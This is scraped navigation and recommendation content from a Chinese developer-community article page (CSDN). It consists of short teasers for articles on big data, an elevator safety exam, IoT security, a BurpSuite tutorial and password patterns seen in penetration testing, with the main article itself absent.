 

勿删,copyright占位
分享文章到微博
分享文章到朋友圈

上一篇:Java---正则表达式

下一篇:Teamcenter中UID和对象之间相互转化

您可能感兴趣

  • BigData:大数据开发的简介、核心知识(linux基础+Java/Python编程语言+Hadoop{HDFS、HBase、Hive}+Docker)、经典场景应用之详细攻略

    BigData:大数据开发的简介、核心知识(linux基础+Java/Python编程语言+Hadoop{HDFS、HBase、Hive}+Docker)、经典场景应用之详细攻略 BigData:大数据简介及以Hadoop生态系统为基础带你了解大数据必须掌握的那些知识(HDFS、HBase、Hive、MongoDB,Spark等等) 导读:最近几天,有很多很多的网友留言都在咨询——如何学习大...

  • 2020A特种设备相关管理(电梯)模拟考试及A特种设备相关管理(电梯)作业考试题库

    题库来源:安全生产模拟考试一点通公众号小程序 2020A特种设备相关管理(电梯)模拟考试及A特种设备相关管理(电梯)作业考试题库,包含A特种设备相关管理(电梯)模拟考试答案解析及A特种设备相关管理(电梯)作业考试题库练习。由安全生产模拟考试一点通公众号结合国家A特种设备相关管理(电梯)考试最新大纲及A特种设备相关管理(电梯)考试真题出具,有助于A特种设备相关管理(电梯)模拟考试系统考前练习。...

  • 重大突破,认知智能被攻破,认知智能核心技术体系解密,机器人大脑API凭条。

    认知智能三大技术体系分别是认知维度划分与识别,类脑结构功能机制的模型和万维图谱。三大技术体系是认知认知智能三大奠基理论(三体论,融智学,HNC)指导下而形成的核心技术体系。三大技术体系相辅相成,共同支撑认知智能核心整套技术体系。是模仿人类认知,理解,记忆,语言使用,学习,情感,逻辑,意识等核心类脑能力的最基础核心的技术体系。 认知维度核心思想来源于古今中外哲学与科学体系,包括易经,道德经,存...

  • 使用物联网设备需注意什么问题

      我们生活的设备和智能硬件想要访问物联网,不能缺乏物联网卡的支持,因此对于相关公司来说管理物联网卡尤为重要。物联网卡是由三大运营商提供的,可满足智能硬件网络应用的需求。   毫无疑问,这种先进技术将提高连网设备之间的通信水平,并使在任何地方访问信息变得容易和高效,但许多人并没有考虑与物联网设备数据访问和管理相关的安全问题。物联网领域的3大安全问题。   1、默认密码或密码较弱的物联网设备 ...

  • BATH围猎新基建,后浪“TMD”集体缺席

    最近,美国《福布斯》杂志公布了今年“全球上市企业2000强”榜单,其中,中国上榜企业数量已经连续七年稳居全球第二,仅次于霸榜的美国之后。 不过企业数量占优是一方面,短板也很明显。比如,美国上榜企业总市值达到了25.9万亿美元,中国上榜企业总市值却是7.74万亿美元,不到美国总市值的1/3。 在美国587家上榜企业中,包括芯片巨头英特尔、IC设计全球前三博通、高通、英伟达、基础装备动力巨头通用...

  • SQL Server 2014中的性能仪表板报告

    standard reports that show basic performance information. These reports are available out of the box, no previous installation and configuration is needed. There are more than 20 reports that show ...

  • 渗透测试神器之BurpSuite安装配置教程+入门教程

    0x00 BurpSuite简介 BurpSuite 是用于攻击web应用程序的集成平台, 它包含了许多Burp工具,所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。是一个为渗透测试人员开发的集成平台, 利用BurpSuite,可以更高效更快速的发现系统或者服务漏洞。 0x01 BurpSuite安装 BurpSuite无需安装,下载即...

  • 渗透测试过程中,用户名和密码的处理

    在渗透测试过程中,我们经常收集到很多用户的历史密码,部分用户的密码习惯是使用若干个相同的字符加上一些其他的字符,比如: ``` user01_history0:Passw0rd0 user01_history1:Password1 user01_history2:Password2 user01_history3:Passw0rd3 user02_history0:00P@ssw0rd us...

华为云40多款云服务产品0元试用活动

免费套餐,马上领取!
CSDN

CSDN

中国开发者社区CSDN (Chinese Software Developer Network) 创立于1999年,致力为中国开发者提供知识传播、在线学习、职业发展等全生命周期服务。